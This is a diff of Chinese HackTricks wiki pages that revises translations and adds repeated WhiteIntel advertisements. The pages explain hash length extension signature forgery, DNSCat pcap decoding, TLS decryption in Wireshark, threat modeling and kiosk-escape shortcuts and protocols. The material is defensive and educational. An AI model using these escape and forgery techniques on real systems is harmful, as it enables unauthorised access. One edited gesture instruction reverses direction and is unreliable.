diff --git a/crypto-and-stego/hash-length-extension-attack.md b/crypto-and-stego/hash-length-extension-attack.md index b1d4937e7..6be2232c1 100644 --- a/crypto-and-stego/hash-length-extension-attack.md +++ b/crypto-and-stego/hash-length-extension-attack.md @@ -7,28 +7,41 @@ * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。** +* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的侵害。 + +WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + +--- # 攻击摘要 -想象一个服务器通过**将一个** **秘密** **附加**到一些已知的明文数据上,然后对该数据进行哈希来**签署**一些**数据**。如果您知道: +想象一个服务器正在通过**将一个** **秘密** **附加**到一些已知明文数据上然后对该数据进行哈希来**签名**数据。如果您知道: * **秘密的长度**(这也可以从给定长度范围内进行暴力破解) * **明文数据** * **算法(及其容易受到此攻击)** * **填充是已知的** -* 通常会使用默认填充,因此如果满足其他3个要求,这也是可以的 -* 填充取决于秘密+数据的长度,因此需要知道秘密的长度 +* 通常会使用默认填充,因此如果满足其他3个要求,这也是 +* 填充根据秘密+数据的长度而变化,这就是为什么需要秘密的长度 -那么,攻击者可以**附加** **数据**并为**先前数据+附加数据**生成有效的**签名**。 +那么,攻击者可以**附加数据**并为**先前数据+附加数据**生成有效的**签名**。 ## 如何实现? -基本上,易受攻击的算法首先通过**对数据块进行哈希处理**生成哈希,然后,**从**先前创建的**哈希**(状态)开始,它们**添加下一个数据块**并**对其进行哈希处理**。 +基本上,易受攻击的算法通过首先**对数据块进行哈希**,然后,**从**先前创建的**哈希**(状态)开始,它们**添加下一个数据块**并**对其进行哈希**。 然后,想象秘密是"secret",数据是"data","secretdata"的MD5是6036708eba0d11f6ef52ad44e8b74d5b。\ 如果攻击者想要附加字符串"append",他可以: @@ -36,16 +49,28 @@ * 生成64个"A"的MD5 * 将先前初始化的哈希状态更改为6036708eba0d11f6ef52ad44e8b74d5b * 附加字符串"append" -* 完成哈希处理,生成的哈希将是**对"secret" + "data" + "填充" + "append"**的有效哈希** +* 完成哈希,生成的哈希将是**对"secret" + "data" + "填充" + "append"**有效的哈希 ## **工具** {% embed url="https://github.com/iagox86/hash_extender" %} -# 参考资料 +## 参考资料 您可以在[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)中找到对此攻击的很好解释。 +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的侵害。 + +WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} +
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) @@ -55,7 +80,7 @@ * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。** +* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
diff --git a/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index 4608d7f86..2e1b68641 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -1,6 +1,6 @@
-从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家) +从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) 支持HackTricks的其他方式: @@ -12,10 +12,23 @@
+## WhiteIntel -如果您有包含通过DNSCat**进行数据外泄的pcap文件**(未使用加密),您可以找到外泄的内容。 +
-您只需要知道**前9个字节**不是真实数据,而是与**C\&C通信**相关的。 +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + +--- + +如果您有包含通过**DNSCat**进行**数据外泄**的pcap文件(未使用加密),您可以找到外泄的内容。 + +您只需要知道**前9个字节**不是真实数据,而是与**C\&C通信**相关的内容: ```python from scapy.all import rdpcap, DNSQR, DNSRR import struct @@ -39,12 +52,12 @@ last = qry 有一个与Python3配合使用的脚本: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) -``` +```bash python3 dnscat_decoder.py sample.pcap bad_domain ```
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) +从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) 其他支持HackTricks的方式: diff --git a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index 8fdda81e1..b8218db70 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -4,18 +4,32 @@
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) +从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) 支持HackTricks的其他方式: * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品 +* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)系列 * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + +--- + ## 提升您的Wireshark技能 ### 教程 @@ -31,13 +45,13 @@ **专家信息** -点击 _**Analyze** --> **Expert Information**_ 您将获得对**分析**的数据包的**概述**: +单击 _**Analyze** --> **Expert Information**_ 您将获得对已**分析**数据包中发生的情况的**概述**: ![](<../../../.gitbook/assets/image (570).png>) -**解析地址** +**已解析地址** -在 _**Statistics --> Resolved Addresses**_ 下,您可以找到Wireshark解析的一些信息,如端口/传输到协议,MAC到制造商等。了解通信中涉及的内容是很有趣的。 +在 _**Statistics --> Resolved Addresses**_ 下,您可以找到Wireshark已经“**解析**”的一些信息,如端口/传输到协议,MAC地址到制造商等。了解通信中涉及的内容是很有趣的。 ![](<../../../.gitbook/assets/image (571).png>) @@ -85,19 +99,19 @@ ### 搜索 -如果您想在会话的数据包中**搜索**内容,请按下CTRL+f。您可以通过按右键然后编辑列来向主信息栏添加新层(编号、时间、来源等)。 +如果您想在会话的数据包中**搜索**内容,请按下_Ctrl+f_。您可以通过按右键然后编辑列来向主信息栏添加新层(编号、时间、来源等)。 ### 免费的pcap实验室 -**练习免费挑战:[https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net)** +**通过免费挑战练习:[https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net)** ## 识别域名 -您可以添加一个显示Host HTTP标头的列: +您可以添加一个显示Host HTTP头的列: ![](<../../../.gitbook/assets/image (403).png>) -以及添加一个从初始HTTPS连接中添加服务器名称的列(**ssl.handshake.type == 1**): +以及添加一个从发起的HTTPS连接中添加服务器名称的列(**ssl.handshake.type == 1**): ![](<../../../.gitbook/assets/image (408) (1).png>) @@ -117,11 +131,11 @@ ### 使用服务器私钥解密https流量 -_edit>preference>protocol>ssl>_ +_编辑>首选项>协议>ssl>_ ![](<../../../.gitbook/assets/image (98).png>) -点击_Edit_,然后添加服务器和私钥的所有数据(_IP、端口、协议、密钥文件和密码_) +点击_编辑_,添加服务器和私钥的所有数据(_IP、端口、协议、密钥文件和密码_) ### 使用对称会话密钥解密https流量 @@ -129,14 +143,13 @@ Firefox和Chrome都可以记录TLS会话密钥,这些密钥可以与Wireshark 要检测此内容,请在环境中搜索变量`SSLKEYLOGFILE` -共享密钥文件如下所示: +共享密钥文件看起来像这样: ![](<../../../.gitbook/assets/image (99).png>) -要将其导入Wireshark,请转到_edit > preference > protocol > ssl > 并将其导入到(Pre)-Master-Secret日志文件名中: +要将此导入Wireshark,请转到\_编辑 > 首选项 > 协议 > ssl > 并将其导入到(Pre)-Master-Secret日志文件名: ![](<../../../.gitbook/assets/image (100).png>) - ## ADB通信 从发送APK的ADB通信中提取APK: @@ -166,16 +179,28 @@ f = open('all_bytes.data', 'w+b') f.write(all_bytes) f.close() ``` +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} +
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) +从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) -其他支持HackTricks的方式: +支持HackTricks的其他方式: -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索我们的独家[**NFTs**]收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。** +* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) +* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
diff --git a/generic-methodologies-and-resources/threat-modeling.md b/generic-methodologies-and-resources/threat-modeling.md index 46082f026..5a3f64e19 100644 --- a/generic-methodologies-and-resources/threat-modeling.md +++ b/generic-methodologies-and-resources/threat-modeling.md @@ -1,58 +1,72 @@ # 威胁建模 +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**推动的搜索引擎,提供**免费**功能,用于检查公司或其客户是否已受到**窃取恶意软件**的**威胁**。 + +WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + +--- + ## 威胁建模 -欢迎来到HackTricks关于威胁建模的全面指南!在这个关键的网络安全方面,我们将识别、理解和制定对系统潜在漏洞的策略。本文提供了一份逐步指南,其中包含了真实世界的示例、有用的软件和易于理解的解释。非常适合初学者和有经验的从业人员,希望加强他们的网络安全防御能力。 +欢迎来到HackTricks关于威胁建模的全面指南!探索这个关键的网络安全方面,我们在这里识别、理解并制定对抗系统潜在漏洞的策略。本文提供了一步一步的指南,包含了现实世界的示例、有用的软件和易于理解的解释。适用于初学者和有经验的从业者,希望加固其网络安全防御。 ### 常用场景 1. **软件开发**:作为安全软件开发生命周期(SSDLC)的一部分,威胁建模有助于在开发的早期阶段**识别潜在的漏洞来源**。 -2. **渗透测试**:渗透测试执行标准(PTES)框架要求在进行测试之前进行威胁建模,以了解系统的漏洞。 +2. **渗透测试**:渗透测试执行标准(PTES)框架要求在进行测试之前进行**威胁建模以了解系统的漏洞**。 ### 威胁模型简介 -威胁模型通常以图表、图像或其他形式的可视化说明来表示,这些说明描述了应用程序的计划架构或现有构建。它类似于**数据流图**,但其关键区别在于其面向安全的设计。 +威胁模型通常以图表、图像或其他形式的视觉展示来表示,展示应用程序的计划架构或现有构建。它类似于**数据流图**,但其关键区别在于其面向安全的设计。 -威胁模型通常包含以红色标记的元素,表示潜在的漏洞、风险或障碍。为了简化风险识别的过程,采用了CIA(机密性、完整性、可用性)三元组,这是许多威胁建模方法的基础,其中STRIDE是最常用的方法之一。然而,选择的方法可能因具体的上下文和要求而有所不同。 +威胁模型通常包含用红色标记的元素,表示潜在的漏洞、风险或障碍。为了简化风险识别过程,通常采用CIA(机密性、完整性、可用性)三元组,构成许多威胁建模方法的基础,STRIDE是其中最常见的之一。然而,选择的方法可能会根据具体的上下文和要求而有所不同。 ### CIA三元组 -CIA三元组是信息安全领域广泛认可的模型,代表机密性(Confidentiality)、完整性(Integrity)和可用性(Availability)。这三个支柱构成了许多安全措施和政策的基础,包括威胁建模方法。 +CIA三元组是信息安全领域中广泛认可的模型,代表机密性、完整性和可用性。这三个支柱构成了许多安全措施和政策的基础,包括威胁建模方法。 1. **机密性**:确保数据或系统不被未经授权的个人访问。这是安全的核心方面,需要适当的访问控制、加密和其他措施来防止数据泄露。 -2. **完整性**:数据在其生命周期内的准确性、一致性和可信度。这个原则确保数据不被未经授权的人篡改或篡改。它通常涉及校验和哈希等数据验证方法。 -3. **可用性**:确保数据和服务在需要时对授权用户可访问。这通常涉及冗余、容错和高可用性配置,以确保系统即使在面临干扰时也能正常运行。 +2. **完整性**:数据在其生命周期中的准确性、一致性和可信度。这一原则确保数据不会被未经授权的方进行更改或篡改。通常涉及校验和哈希等数据验证方法。 +3. **可用性**:确保数据和服务在需要时对授权用户可访问。这通常涉及冗余、容错和高可用性配置,以确保即使面临中断,系统也能继续运行。 ### 威胁建模方法 -1. **STRIDE**:由微软开发,STRIDE是**欺骗、篡改、否认、信息泄露、拒绝服务和权限提升**的首字母缩写。每个类别代表一种威胁类型,这种方法通常在程序或系统的设计阶段用于识别潜在威胁。 -2. **DREAD**:这是微软的另一种用于已识别威胁的风险评估方法。DREAD代表**损害潜力、可重现性、可利用性、受影响的用户和可发现性**。对这些因素进行评分,并将结果用于优先考虑已识别的威胁。 -3. **PASTA**(攻击模拟和威胁分析过程):这是一个包含七个步骤的**以风险为中心**的方法。它包括定义和识别安全目标、创建技术范围、应用程序分解、威胁分析、漏洞分析和风险/分类评估。 -4. **Trike**:这是一种以风险管理为重点的方法,侧重于保护资产。它从**风险管理**的角度出发,考虑威胁和漏洞。 -5. **VAST**(可视化、敏捷和简单的威胁建模):这种方法旨在更易于理解,并集成到敏捷开发环境中。它结合了其他方法的要素,并侧重于**威胁的可视化表示**。 -6. **OCTAVE**(运营关键威胁、资产和漏洞评估):由CERT协调中心开发,该框架针对**组织风险评估而非特定系统或软件**。 +1. **STRIDE**:由微软开发,STRIDE是**欺骗、篡改、否认、信息披露、服务拒绝和权限提升**的首字母缩写。每个类别代表一种威胁类型,这种方法通常用于程序或系统设计阶段,以识别潜在威胁。 +2. **DREAD**:这是微软的另一种用于已识别威胁的风险评估方法。DREAD代表**破坏潜力、可重现性、可利用性、受影响用户和可发现性**。对这些因素进行评分,结果用于优先考虑已识别的威胁。 +3. **PASTA**(攻击模拟和威胁分析过程):这是一个七步骤的**风险中心**方法。它包括定义和识别安全目标、创建技术范围、应用程序分解、威胁分析、漏洞分析和风险/分类评估。 +4. **Trike**:这是一个以风险为基础的方法,侧重于保护资产。它从**风险管理**的角度出发,看待威胁和漏洞。 +5. **VAST**(视觉、敏捷和简单威胁建模):这种方法旨在更易于访问,并集成到敏捷开发环境中。它结合了其他方法的元素,侧重于**威胁的视觉表示**。 +6. **OCTAVE**(运营关键威胁、资产和漏洞评估):由CERT协调中心开发,该框架旨在进行**组织风险评估而不是特定系统或软件**。 ## 工具 -有几种可用的工具和软件解决方案可以**辅助**创建和管理威胁模型。以下是一些您可能考虑的工具。 +有几种工具和软件解决方案可用于帮助创建和管理威胁模型。以下是您可能考虑的一些工具。 ### [SpiderSuite](https://github.com/3nock/SpiderSuite) -一款先进的跨平台、多功能GUI网络蜘蛛/爬虫,适用于网络安全专业人员。Spider Suite可用于攻击面映射和分析。 +一款先进的跨平台、多功能GUI网络蜘蛛/爬虫,适用于网络安全专业人士。Spider Suite可用于攻击面映射和分析。 **用法** -1. 选择一个URL并进行爬行 +1. 选择一个URL并爬取
-2. 查看图形 +2. 查看图表
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases) -OWASP的一个开源项目,Threat Dragon是一个包含系统图形化和规则引擎自动生成威胁/缓解措施的Web和桌面应用程序。 +来自OWASP的开源项目,Threat Dragon是一个包含系统绘图和规则引擎以自动生成威胁/缓解措施的Web和桌面应用程序。 **用法** @@ -60,7 +74,7 @@ OWASP的一个开源项目,Threat Dragon是一个包含系统图形化和规
-有时它可能看起来像这样: +有时可能看起来像这样:
@@ -74,17 +88,17 @@ OWASP的一个开源项目,Threat Dragon是一个包含系统图形化和规 4. 创建您的模型 -您可以使用SpiderSuite Crawler等工具来给您灵感,一个基本的模型可能如下所示 +您可以使用SpiderSuite爬虫等工具来获得灵感,一个基本模型可能看起来像这样
-对实体的一点解释: +对实体的简要解释: -* 进程(实体本身,如Web服务器或Web功能) +* 过程(实体本身,如Web服务器或Web功能) * 演员(人员,如网站访问者、用户或管理员) * 数据流线(交互指示器) -* 信任边界(不同的网络段或范围) -* 存储(存储数据的地方,如数据库) +* 信任边界(不同的网络段或范围。) +* 存储(数据存储的地方,如数据库) 5. 创建威胁(步骤1) @@ -96,15 +110,28 @@ OWASP的一个开源项目,Threat Dragon是一个包含系统图形化和规
-请记住,演员威胁和进程威胁之间存在区别。如果您向演员添加威胁,那么您只能选择“欺骗”和“否认”。然而,在我们的示例中,我们向进程实体添加威胁,因此在威胁创建框中我们将看到以下内容: +请注意,演员威胁和过程威胁之间存在区别。如果您向演员添加威胁,那么您只能选择“欺骗”和“否认”。但在我们的示例中,我们向过程实体添加威胁,因此我们将在威胁创建框中看到这一点:
6. 完成 -现在,您完成的模型应该看起来像这样。这就是您如何使用OWASP Threat Dragon创建一个简单的威胁模型。 +现在您完成的模型应该看起来像这样。这就是您如何使用OWASP Threat Dragon制作简单的威胁模型。
### [Microsoft威胁建模工具](https://aka.ms/threatmodelingtool) -这是微软提供的免费工具,可帮助在软件项目的设计阶段发现威胁。它使用STRIDE方法论,特别适用于在微软的技术栈上进行开发的人员。 +这是微软提供的免费工具,可帮助在软件项目的设计阶段发现威胁。它使用STRIDE方法论,特别适用于在微软平台上开发的人员。 + + +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**威胁**。 + +WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} diff --git a/hardware-physical-access/escaping-from-gui-applications.md b/hardware-physical-access/escaping-from-gui-applications.md index d4129a5f5..e6313b8e8 100644 --- a/hardware-physical-access/escaping-from-gui-applications.md +++ b/hardware-physical-access/escaping-from-gui-applications.md @@ -4,18 +4,31 @@ 支持HackTricks的其他方式: -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) +* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+## WhiteIntel -# 检查GUI应用程序中可能的操作 +
-**常见对话框**是指**保存文件**、**打开文件**、选择字体、颜色等选项。大多数情况下,这些选项将**提供完整的资源管理器功能**。这意味着如果您可以访问这些选项,则可以访问资源管理器功能: +[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + +--- + +# 检查GUI应用程序内的可能操作 + +**常见对话框**是那些**保存文件**、**打开文件**、选择字体、颜色等选项。大多数情况下,这些对话框将**提供完整的资源管理器功能**。这意味着如果您可以访问这些选项,则可以访问资源管理器功能: * 关闭/关闭为 * 打开/打开方式 @@ -33,7 +46,7 @@ ## 命令执行 -也许**使用`打开方式`**选项**可以打开/执行某种类型的shell。 +也许**使用`打开方式`**选项**您可以打开/执行某种类型的shell。 ### Windows @@ -41,13 +54,13 @@ ### \*NIX __ -_bash, sh, zsh..._ 更多信息请参阅:[https://gtfobins.github.io/](https://gtfobins.github.io) +_bash, sh, zsh..._ 更多信息请查看:[https://gtfobins.github.io/](https://gtfobins.github.io) # Windows ## 绕过路径限制 -* **环境变量**:有许多指向某些路径的环境变量 +* **环境变量**:有许多环境变量指向某些路径 * **其他协议**:_about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ * **符号链接** * **快捷方式**:CTRL+N(打开新会话),CTRL+R(执行命令),CTRL+SHIFT+ESC(任务管理器),Windows+E(打开资源管理器),CTRL-B,CTRL-I(收藏夹),CTRL-H(历史记录),CTRL-L,CTRL-O(文件/打开对话框),CTRL-P(打印对话框),CTRL-S(另存为) @@ -95,7 +108,7 @@ _bash, sh, zsh..._ 更多信息请参阅:[https://gtfobins.github.io/](https:/ * Filter Keys – 按住右SHIFT键12秒钟 * WINDOWS+F1 – Windows搜索 * WINDOWS+D – 显示桌面 -* WINDOWS+E – 打开资源管理器 +* WINDOWS+E – 启动Windows资源管理器 * WINDOWS+R – 运行 * WINDOWS+U – 辅助功能中心 * WINDOWS+F – 搜索 @@ -110,21 +123,20 @@ _bash, sh, zsh..._ 更多信息请参阅:[https://gtfobins.github.io/](https:/ * CTRL+N – Internet Explorer – 新页面 * CTRL+O – 打开文件 * CTRL+S – 保存 CTRL+N – 新RDP / Citrix - ## 滑动手势 * 从左侧向右滑动以查看所有打开的窗口,最小化KIOSK应用程序并直接访问整个操作系统; * 从右侧向左滑动以打开操作中心,最小化KIOSK应用程序并直接访问整个操作系统; -* 从顶部边缘向内滑动,使全屏模式下打开的应用程序的标题栏可见; -* 从底部向上滑动,显示全屏应用程序中的任务栏。 +* 从顶部边缘向内滑动以使全屏模式下打开的应用程序的标题栏可见; +* 从底部向上滑动以在全屏应用程序中显示任务栏。 -## Internet Explorer技巧 +## Internet Explorer 技巧 ### '图像工具栏' -这是一个工具栏,当单击图像时会出现在图像的左上角。您将能够保存、打印、发送电子邮件、在资源管理器中打开“我的图片”。Kiosk需要使用Internet Explorer。 +这是一个工具栏,当单击图像时会出现在图像的左上角。您将能够保存、打印、发送邮件、在资源管理器中打开“我的图片”。Kiosk需要使用Internet Explorer。 -### Shell协议 +### Shell 协议 键入以下URL以获取资源管理器视图: @@ -156,7 +168,7 @@ _bash, sh, zsh..._ 更多信息请参阅:[https://gtfobins.github.io/](https:/ # 浏览器技巧 -备份iKat版本: +备份 iKat 版本: [http://swin.es/k/](http://swin.es/k/)\ [http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\ @@ -168,13 +180,13 @@ _bash, sh, zsh..._ 更多信息请参阅:[https://gtfobins.github.io/](https:/ ## 手势和按钮 -* 使用四(或五)个手指向上滑动/双击Home按钮:查看多任务视图并更改应用程序 +* 使用四(或五)个手指向上滑动/双击主页按钮:查看多任务视图并更改应用程序 * 使用四或五个手指向左或向右滑动:以切换到下一个/上一个应用程序 -* 用五个手指捏屏幕/触摸Home按钮/从屏幕底部向上快速滑动一个手指:访问主屏幕 +* 用五个手指捏屏幕/触摸主页按钮/从屏幕底部向上快速滑动一个手指:访问主屏幕 -* 用一个手指从屏幕底部向上缓慢滑动1-2英寸:会出现Dock +* 用一个手指从屏幕底部向下缓慢滑动1-2英寸:会出现底栏 * 用一个手指从屏幕顶部向下滑动:查看通知 @@ -182,86 +194,132 @@ _bash, sh, zsh..._ 更多信息请参阅:[https://gtfobins.github.io/](https:/ * 用一个手指从屏幕左侧向右滑动1-2英寸:查看今天视图 -* 用一个手指快速从屏幕中心向右或向左滑动:切换到下一个/上一个应用程序 +* 用一个手指快速从屏幕中心向左或向右滑动:切换到下一个/上一个应用程序 -* 按住iPad右上角的On/**Off**/Sleep按钮 + 将滑块全部向右移动:关机 +* 按住iPad右上角的开/关/睡眠按钮并将“滑动以关机”滑块全部向右滑动:关机 -* 按住iPad右上角的On/**Off**/Sleep按钮 + Home按钮几秒钟:强制硬关机 +* 按住iPad右上角的开/关/睡眠按钮和主页按钮几秒钟:强制硬关机 -* 快速按下iPad右上角的On/**Off**/Sleep按钮 + Home按钮:拍摄屏幕截图,截图将在显示屏左下角弹出。同时短按两个按钮,如果您按住几秒钟,将执行硬关机。 +* 快速按下iPad右上角的开/关/睡眠按钮和主页按钮:拍摄屏幕截图,截图将弹出在显示屏左下角。同时短暂按下两个按钮,如果您按住几秒钟,将执行强制关机。 ## 快捷键 -您应该有一个iPad键盘或USB键盘适配器。这里只显示可能帮助退出应用程序的快捷键。 +您应该有一个iPad键盘或USB键盘适配器。这里只显示可帮助退出应用程序的快捷键。 -| 键 | 名称 | +| 按键 | 名称 | | --- | ------------ | -| ⌘ | Command | -| ⌥ | Option (Alt) | +| ⌘ | 命令 | +| ⌥ | 选项(Alt) | | ⇧ | Shift | -| ↩ | Return | +| ↩ | 返回 | | ⇥ | Tab | -| ^ | Control | -| ← | Left Arrow | -| → | Right Arrow | -| ↑ | Up Arrow | -| ↓ | Down Arrow | +| ^ | 控制 | +| ← | 左箭头 | +| → | 右箭头 | +| ↑ | 上箭头 | +| ↓ | 下箭头 | ### 系统快捷键 -这些快捷键适用于iPad的视觉设置和声音设置,具体取决于iPad的使用方式。 +这些快捷键用于视觉设置和声音设置,具体取决于iPad的使用。 | 快捷键 | 动作 | | -------- | ------------------------------------------------------------------------------ | -| F1 | 调暗屏幕 | -| F2 | 调亮屏幕 | +| F1 | 降低屏幕亮度 | +| F2 | 增加屏幕亮度 | | F7 | 后退一首歌 | | F8 | 播放/暂停 | | F9 | 跳过歌曲 | | F10 | 静音 | | F11 | 降低音量 | | F12 | 增加音量 | -| ⌘ Space | 